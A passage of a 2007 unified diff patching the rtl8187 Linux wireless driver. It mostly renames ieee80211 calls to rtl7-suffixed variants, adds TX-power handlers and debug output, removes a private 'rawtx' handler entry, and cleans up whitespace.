fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +269,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +293,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +317,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +336,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +388,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +419,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +427,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +447,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +497,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +535,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +553,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +583,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +621,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,32 +673,28 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +706,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +724,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-06-08 23:30:33.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | 